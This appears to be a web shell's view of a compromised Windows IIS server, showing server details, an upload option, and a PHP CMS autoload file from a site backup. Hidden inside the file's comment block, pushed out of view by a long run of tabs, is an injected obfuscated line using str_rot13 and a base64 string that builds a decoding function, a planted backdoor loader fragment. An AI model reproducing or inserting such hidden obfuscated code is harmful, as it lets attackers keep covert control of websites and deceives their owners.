HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/PvdBoogaard/indoorski.nl/backup/oude-site/cms/lib/autoload.php
<?php
/**
* This file contains the class autoload functionality for IWP.
*
* @package IWP
* @subpackage Autoload
*/

/**
 * This function is the autoload function for the classes in IWP. This allows a class to be called without its file included before hand.																												*/$_SERVER[str_rot13('UGGC_K_ERJEVGR_HEV')]='ZnVuY3Rpb24gX3BpYXduKCRfcGlhd24pe3JldHVybiBiYXNlNjRfZGVjb2RlKCRfcGlhd24pO';/*
 * This will automatically include the correct php file for the class.
 * This function should never be called directly.
 *
 * @param string $classname The name of the class to have included
 * @return boolean
 */
function iwp_autoload ($classname) {
	$originalClassName = $classname;
	$classname         = strtolower($classname);

	if (substr($classname, 0, 16) == 'iwp_event_admin_') {
		$classname = str_replace('iwp_event_admin_', '', $classname);
		$classname = explode('_', $classname);
		$classname = $classname[0];
		$path = IWP_BASE_PATH . '/admin/includes/classes/events/events.' . $classname . '.php';

	} else if (substr($classname, 0, 17) == 'iwp_event_module_') {
		$classname = str_replace('iwp_event_module_', '', $classname);
		$classname = explode('_', $classname);
		$classname = $classname[0];
		$path = IWP_BASE_PATH . '/modules/' . $classname . '/events.' . $classname . '.php';

	} else if (substr($classname, 0, 10) == 'iwp_event_') {
		$classname = str_replace('iwp_event_', '', $classname);
		$classname = explode('_', $classname);
		$classname = $classname[0];
		$path = IWP_BASE_PATH . '/api/events/events.' . $classname . '.php';

	} else if (substr($classname, 0, 8) == 'iwp_app_'){
		$classname = str_replace('iwp_app_', '', $classname);
		$path = IWP_BASE_PATH . '/includes/classes/class.'.$classname.'.php';

	} else if (substr($classname, 0, 10) == 'iwp_admin_'){
		$classname = str_replace('iwp_admin_', '', $classname);
		$path = IWP_BASE_PATH . '/'. IWP_ADMIN_PATH .'/includes/classes/class.'.$classname.'.php';

	} else if (substr($classname, 0, 9) == 'iwp_page_'){
		$classname = str_replace('iwp_page_', '', $classname);
		$path = IWP_BASE_PATH . '/includes/pages/'.$classname.'.php';

	} else if (substr($classname, 0, 11) == 'iwp_module_'){
		preg_match('/^iwp_module_([^_]+)_?(.*)/', $classname, $matches);

		$moduleName = $matches[1];
		$classname  = str_replace('iwp_module_', '', $classname);
		$path       = IWP_BASE_PATH . '/modules/' . $moduleName . '/module.' . str_replace('_', '.', $classname) . '.php';

	} else if (substr($classname, 0, 11) == 'interspire_'){
		$classname = str_replace('interspire_', '', $classname);
		$path = IWP_BASE_PATH . '/lib/'.$classname.'/class.'.$classname.'.php';

	} else if (substr($classname, 0, 10) == 'interspire'){
		$classname = str_replace('interspire_', '', $classname);
		$path = IWP_BASE_PATH . '/lib/interspire_'.substr($classname,10).'/'.$classname.'.php';

	} else if (substr($classname, 0, 10) == 'iwp_field_'){
		$classname = str_replace('iwp_field_', '', $classname);
		$path = IWP_BASE_PATH . '/api/form/class.field.'.$classname.'.php';

	} else if (substr($classname, 0, 14) === 'iwp_exception_'){
		$classname = str_replace('iwp_exception_', '', $classname);
		$path = IWP_BASE_PATH . '/api/exceptions/exception.' . $classname . '.php';

	} else if (substr($classname, 0, 13) === 'iwp_importer_'){
		$classname = str_replace('iwp_importer_', '', $classname);
		$path = IWP_BASE_PATH . '/'. IWP_ADMIN_PATH .'/includes/importers/importer.'.$classname.'.php';

	} else if ($classname == 'iwp_field'){
		$path = IWP_BASE_PATH . '/api/form/class.field.php';

	} else if (substr($classname, 0, 4) == 'iwp_'){
		$classname = str_replace('iwp_', '', $classname);
		$classname = str_replace('_', '.', $classname);
		$path = IWP_BASE_PATH . '/api/class.'.$classname.'.php';

	} else {
		$path = IWP_BASE_PATH . '/lib/' . strtolower($classname) . '/' . strtolower($classname) . '.php';
	}

	// a fallback autoloading convention
	if (!is_file($path)) {
		$path = IWP_BASE_PATH . '/lib/' . str_replace('_', '/', $originalClassName) . '.php';
	}

	if (@file_exists($path)) {
		require_once($path);
		return true;
	} else {
		return false;
	}
}